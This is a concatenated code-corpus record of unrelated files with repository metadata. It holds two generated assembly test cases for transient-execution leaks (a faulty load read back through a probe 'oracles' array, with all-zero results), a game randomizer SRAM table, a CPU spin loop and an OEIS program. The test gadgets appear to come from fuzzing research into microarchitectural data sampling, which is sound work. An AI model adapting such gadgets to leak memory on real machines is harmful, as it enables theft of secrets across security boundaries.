ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_6145_2008.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_6145_2008.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x131f0, %rbp nop nop and %rdi, %rdi mov (%rbp), %edx nop nop nop nop cmp $25100, %r8 lea addresses_normal_ht+0x18f56, %rax clflush (%rax) sub $25343, %r11 and $0xffffffffffffffc0, %rax movntdqa (%rax), %xmm3 vpextrq $0, %xmm3, %r13 nop nop nop nop nop cmp %r11, %r11 lea addresses_normal_ht+0xae70, %rsi lea addresses_normal_ht+0x18d70, %rdi nop nop nop nop cmp $65072, %r13 mov $73, %rcx rep movsq nop nop nop nop nop and $4699, %r11 lea addresses_normal_ht+0x12f70, %rdi nop nop and $38992, %r8 mov (%rdi), %r11d nop nop nop nop inc %rsi lea addresses_WC_ht+0x1a230, %rsi lea addresses_D_ht+0x11f28, %rdi nop nop nop nop and $61058, %rbp mov $110, %rcx rep movsq nop nop nop nop nop xor %rsi, %rsi lea addresses_WT_ht+0x15e00, %rsi lea addresses_WT_ht+0x5370, %rdi nop xor %rax, %rax mov $115, %rcx rep movsl nop nop inc %rax lea addresses_D_ht+0x423f, %rsi lea addresses_normal_ht+0x12bf8, %rdi cmp $10929, %rax mov $123, %rcx rep movsb nop nop nop nop xor %r8, %r8 lea addresses_WT_ht+0x18fb0, %rsi lea addresses_normal_ht+0xcd70, %rdi nop nop nop nop sub $39152, %r11 mov $107, %rcx rep movsw nop nop xor %r11, %r11 lea addresses_A_ht+0x15970, %rdi sub %r13, %r13 mov (%rdi), %r11w nop add $26881, %rax lea addresses_WC_ht+0x14740, %r11 nop nop nop nop add $29201, %rsi movups (%r11), %xmm5 vpextrq $0, %xmm5, %rax nop nop dec %rbp lea addresses_normal_ht+0x1b2d0, %rcx nop nop nop nop cmp $8595, %rsi movb (%rcx), %r13b dec %r13 lea addresses_D_ht+0x10770, %rdi nop nop nop nop nop sub $13127, %rdx mov (%rdi), %rbp nop nop nop sub $41534, %rcx lea addresses_WT_ht+0x27c0, %rcx nop nop nop dec %r8 mov (%rcx), %r13 nop nop nop nop sub $44041, %rsi lea addresses_WC_ht+0xd70, %r8 nop nop sub $20716, %rbp movb $0x61, (%r8) nop nop nop nop add $52621, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r8 push %rbp push %rbx push %rsi // Store lea addresses_WC+0xeac, %r10 sub $12726, %r8 mov $0x5152535455565758, %rbx movq %rbx, (%r10) nop and $14823, %r14 // Store lea addresses_WC+0x11870, %r15 nop lfence movw $0x5152, (%r15) nop nop nop nop inc %rbp // Load lea addresses_normal+0xdb70, %r15 nop cmp %rbx, %rbx vmovups (%r15), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rsi nop nop nop nop dec %rsi // Store lea addresses_WT+0x7470, %r15 nop nop nop sub %rbx, %rbx movb $0x51, (%r15) nop nop nop nop nop xor %r10, %r10 // Store lea addresses_US+0x4670, %rbp clflush (%rbp) nop cmp %r8, %r8 mov $0x5152535455565758, %r10 movq %r10, %xmm5 vmovups %ymm5, (%rbp) nop nop nop nop nop cmp %rbp, %rbp // Faulty Load lea addresses_A+0x13570, %rbp inc %r15 mov (%rbp), %r10w lea oracles, %r15 and $0xff, %r10 shlq $12, %r10 mov (%r15,%r10,1), %r10 pop %rsi pop %rbx pop %rbp pop %r8 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': True, 'size': 8, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'00': 6145} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
30.448276
2,999
0.655493
be1b1cfd01ec0b5b079dbb6de01a55eb85ff87e0
5,597
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_210.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_210.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_210.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x24b, %r14 nop inc %rcx vmovups (%r14), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rbp nop nop nop xor %r14, %r14 lea addresses_WT_ht+0x1dd89, %rsi lea addresses_D_ht+0x13fe9, %rdi nop sub $17202, %rbp mov $3, %rcx rep movsq nop nop nop nop and $33602, %rbp lea addresses_UC_ht+0x18989, %rbx clflush (%rbx) nop nop nop nop dec %rsi movb $0x61, (%rbx) nop nop sub $30947, %r14 lea addresses_UC_ht+0x13189, %rdi nop nop and $24512, %r14 movl $0x61626364, (%rdi) nop nop nop add $16368, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r14 ret .global s_faulty_load s_faulty_load: push %r11 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi // Store mov $0x6055030000000989, %rdi nop nop nop nop xor $29464, %r8 movl $0x51525354, (%rdi) nop and $849, %r8 // Store lea addresses_A+0x8c09, %rsi clflush (%rsi) nop nop nop nop add %r9, %r9 movw $0x5152, (%rsi) nop nop nop nop xor %rsi, %rsi // Store lea addresses_normal+0x1d589, %r11 nop inc %r8 movb $0x51, (%r11) nop nop nop and $60693, %r11 // Faulty Load lea addresses_WT+0xf189, %rdx nop nop nop and $26540, %rsi mov (%rdx), %rcx lea oracles, %r9 and $0xff, %rcx shlq $12, %rcx mov (%r9,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A', 'AVXalign': True, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_normal', 'AVXalign': False, 'size': 1}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
39.695035
2,999
0.656423
a93d0c143622b08cc00fffa45dd29636491fab36
7,653
asm
Assembly
initsramtable.asm
mmxbass/z3randomizer
04906b5f872e0afb46bf7c98161da50f82235a08
[ "MIT" ]
20
2017-05-17T23:00:36.000Z
2018-11-29T20:07:06.000Z
initsramtable.asm
mmxbass/z3randomizer
04906b5f872e0afb46bf7c98161da50f82235a08
[ "MIT" ]
13
2017-07-19T19:16:53.000Z
2018-04-23T19:52:15.000Z
initsramtable.asm
mmxbass/z3randomizer
04906b5f872e0afb46bf7c98161da50f82235a08
[ "MIT" ]
17
2017-05-22T19:58:01.000Z
2018-11-22T03:35:57.000Z
;================================================================================ ; Initial SRAM table. ;-------------------------------------------------------------------------------- ; The ROM copies blocks of bytes from here on save file init. This table has an ; identical layout to the first $500 bytes of SRAM, although some values such as ; the file validity value, file name, and inverse checksum are skipped. ; ; NOTE: Set InitProgressIndicator to $80 for standard mode with instant post-aga ; world state ; ; See sram.asm for further documentation on how to write to this table. ;-------------------------------------------------------------------------------- fillword $0000 ; Zero out the table fill $500 ; org $30B000 ; PC 0x183000 InitRoomDataWRAM: org $30B060 ; PC 0x183060 InitATAltarRoom: dw $0000 ; aga curtains org $30B092 ; PC 0x183092 InitSWBackEntryRoom: dw $0000 ; skull woods curtains (?) org $30B20C dw $F000, $F000 ; Pre-open kak bomb hut & brewery org $30B280 ; PC 0x183280 - 0x1832FF InitOverworldEvents: org $30B282 ; PC 0x183282 - Lumberjacks InitLumberjackOW: db $00 org $30B29B ; PC 0x18329B - Open castle gate InitHyruleCastleOW: db $20 org $30B2DB ; PC 0x1832DB - Pyramid hole InitPyramidOW: db $00 org $30B2C3 ; PC 0x1832C3 - GT InitDDMWestOW: db $00 org $30B340 ; PC 0x183340 StartingEquipment: StartingBow: skip 1 ; PC 0x183340 StartingBoomerang: skip 1 ; PC 0x183341 StartingHookshot: skip 1 ; PC 0x183342 StartingBombs: skip 1 ; PC 0x183343 StartingPowder: skip 1 ; PC 0x183344 StartingFireRod: skip 1 ; PC 0x183345 StartingIceRod: skip 1 ; PC 0x183346 StartingBombos: skip 1 ; PC 0x183347 StartingEther: skip 1 ; PC 0x183348 StartingQuake: skip 1 ; PC 0x183349 StartingLamp: skip 1 ; PC 0x18334A StartingHammer: skip 1 ; PC 0x18334B StartingFlute: skip 1 ; PC 0x18334C StartingBugNet: skip 1 ; PC 0x18334D StartingBookOfMudora: skip 1 ; PC 0x18334E StartingBottleIndex: skip 1 ; PC 0x18334F StartingSomaria: skip 1 ; PC 0x183350 StartingByrna: skip 1 ; PC 0x183351 StartingCape: skip 1 ; PC 0x183352 StartingMirror: skip 1 ; PC 0x183353 StartingGlove: skip 1 ; PC 0x183354 StartingBoots: skip 1 ; PC 0x183355 StartingFlippers: skip 1 ; PC 0x183356 StartingMoonPearl: skip 1 ; PC 0x183357 skip 1 ; PC 0x183358 StartingSword: skip 1 ; PC 0x183359 StartingShield: skip 1 ; PC 0x18335A StartingArmor: skip 1 ; PC 0x18335B StartingBottleContentsOne: skip 1 ; PC 0x18335C StartingBottleContentsTwo: skip 1 ; PC 0x18335D StartingBottleContentsThree: skip 1 ; PC 0x18335E StartingBottleContentsFour: skip 1 ; PC 0x18335F StartingCurrentRupees: skip 2 ; PC 0x183360 \ Write same value to both StartingDisplayRupees: skip 2 ; PC 0x183362 / of these StartingCompasses: skip 2 ; PC 0x183364 StartingBigKeys: skip 2 ; PC 0x183366 StartingMaps: skip 2 ; PC 0x183368 skip 1 ; PC 0x18336A StartingQuarterHearts: skip 1 ; PC 0x18336B StartingHealth: db $18 ; PC 0x18336C StartingMaximumHealth: db $18 ; PC 0x18336D StartingMagic: skip 1 ; PC 0x18336E StartingSmallKeys: db $FF ; PC 0x18336F StartingBombCapacityUpgrade: skip 1 ; PC 0x183370 StartingArrowCapacityUpgrade: skip 1 ; PC 0x183371 InitHeartsFiller: skip 1 ; PC 0x183372 InitMagicFiller: skip 1 ; PC 0x183373 StartingPendants: skip 1 ; PC 0x183374 InitBombsFiller: skip 1 ; PC 0x183375 InitArrowsFiller: skip 1 ; PC 0x183376 StartingArrows: skip 1 ; PC 0x183377 skip 1 ; PC 0x183378 InitAbilityFlags: db $68 ; PC 0x183379 StartingCrystals: skip 1 ; PC 0x18337A StartingMagicConsumption: skip 1 ; PC 0x18337B StartingDungeonKeys: ; StartingSewerKeys: skip 1 ; PC 0x18337C StartingHyruleCastleKeys: skip 1 ; PC 0x18337D StartingEasternKeys: skip 1 ; PC 0x18337E StartingDesertKeys: skip 1 ; PC 0x18337F StartingCastleTowerKeys: skip 1 ; PC 0x183380 StartingSwampKeys: skip 1 ; PC 0x183381 StartingPalaceOfDarknessKeys: skip 1 ; PC 0x183382 StartingMireKeys: skip 1 ; PC 0x183383 StartingSkullWoodsKeys: skip 1 ; PC 0x183384 StartingIcePalaceKeys: skip 1 ; PC 0x183385 StartingHeraKeys: skip 1 ; PC 0x183386 StartingThievesTownKeys: skip 1 ; PC 0x183387 StartingTurtleRockKeys: skip 1 ; PC 0x183388 StartingGanonsTowerKeys: skip 1 ; PC 0x183389 skip 1 ; PC 0x18338A StartingGenericKeys: skip 1 ; PC 0x18338B InitInventoryTracking: skip 2 ; PC 0x18338C \ Need to set bits here for silver arrows, InitBowTracking: skip 2 ; PC 0x18338E / boomerangs, powder/mushroom, etc InitItemLimitCounts: skip 16 ; PC 0x183390 skip 37 ; InitProgressIndicator: db $02 ; PC 0x1833C5 - Set to $80 for instant post-aga with standard InitProgressFlags: db $14 ; PC 0x1833C6 - Set to $00 for standard InitMapIcons: skip 1 ; PC 0x1833C7 InitStartingEntrance: db $01 ; PC 0x1833C8 - Set to $00 for standard InitNpcFlagsVanilla: skip 1 ; PC 0x1833C9 InitCurrentWorld: skip 1 ; PC 0x1833CA skip 1 ; PC 0x1833CB InitFollowerIndicator: skip 1 ; PC 0x1833CC InitFollowerXCoord: skip 2 ; PC 0x1833CD InitFollowerYCoord: skip 2 ; PC 0x1833CF InitDroppedFollowerIndoors: skip 1 ; PC 0x1833D1 InitDroppedFollowerLayer: skip 1 ; PC 0x1833D2 InitFollowerDropped: skip 1 ; PC 0x1833D3 org $30B3D9 ; PC 0x1833D9 - 0x1833F0 StaticFileName: ; The validity value ($55AA) must be written manually on SRAM init at $7003E1 dw $0181, $0162, $0168, $018C dw $0166, $014E, $0162, $018C dw $0165, $0162, $0167, $018C org $30B401 ; PC 0x183401 InitDeathCounter: dw $FFFF ;-------------------------------------------------------------------------------- ; The following labels and their addresses are provided for convenience. You ; may want to write, for example, to InitHighestSword in addition to setting ; StartingSword. But any value can be written to the whole block from ; $30B000-$30B4FF (PC 0x183000-0x18034FF) and it will be initialized ; excluding ~28 bytes (File name, validity value, and checksum.) ;-------------------------------------------------------------------------------- org $30B414 ; PC 0x183414-0x183416 InitMapOverlay: dw $0000 org $30B417 ; PC 0x183417 InitHighestSword: db $00 org $30B414 ; PC 0x183418-0x183419 InitGoalCounter: dw $0000 org $30B422 ; PC 0x183422 InitHighestShield: db $00 org $30B428 ; PC 0x183428 InitMapsCompasses: db $00 org $30B429 ; PC 0x183429 InitPendantCounter: db $00 org $30B454 ; PC 0x183454-0x183457 InitChallengeTimer: dw $0000, $0000 org $30B46E ; PC 0x18346E InitHighestMail: db $00 org $30B471 ; PC 0x183471 InitCrystalCounter: db $00
43.731429
101
0.6046
9b7aae8b0549734ce1ff0edb11743a3b66337cbe
1,854
asm
Assembly
UIforETW/SpinALot64.asm
eugenesvk/UIforETW
04c7ba72f6f638230e7d992848c3413e41cbf826
[ "Apache-2.0" ]
1,260
2015-04-14T14:50:13.000Z
2022-03-31T14:51:48.000Z
UIforETW/SpinALot64.asm
eugenesvk/UIforETW
04c7ba72f6f638230e7d992848c3413e41cbf826
[ "Apache-2.0" ]
142
2015-04-14T18:08:08.000Z
2022-03-25T17:34:17.000Z
UIforETW/SpinALot64.asm
eugenesvk/UIforETW
04c7ba72f6f638230e7d992848c3413e41cbf826
[ "Apache-2.0" ]
176
2015-04-14T17:04:59.000Z
2022-03-21T07:09:55.000Z
; Copyright 2015 Google Inc. All Rights Reserved. ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. .CODE ; Spin in a loop for 50*spinCount cycles ; On out-of-order CPUs the sub and jne will not add ; any execution time. SpinALot PROC ; (const int spinCount : rcx) ; spinCount is already in ecx start: ; Ten dependent adds add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax ; Ten more dependent adds add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax ; Ten more dependent adds add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax ; Ten more dependent adds add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax ; Ten more dependent adds add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax add eax, eax sub ecx, 1 jne start ret 0 SpinALot ENDP END
19.113402
75
0.638619
8cf8194821a8bf13f87122729ee6b237be4bfc84
222
asm
Assembly
programs/oeis/116/A116562.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116562.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116562.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A116562: Duplicate of A045925. ; 0,1,2,6,12,25,48,91,168,306,550,979,1728,3029,5278,9150,15792,27149,46512,79439,135300,229866,389642,659111,1112832 mov $2,$0 lpb $0,1 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 lpe
20.181818
117
0.671171
97573e97ed791f6c3fc60cd78cd7e5eb3c65b428
266
asm
Assembly
programs/oeis/036/A036408.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
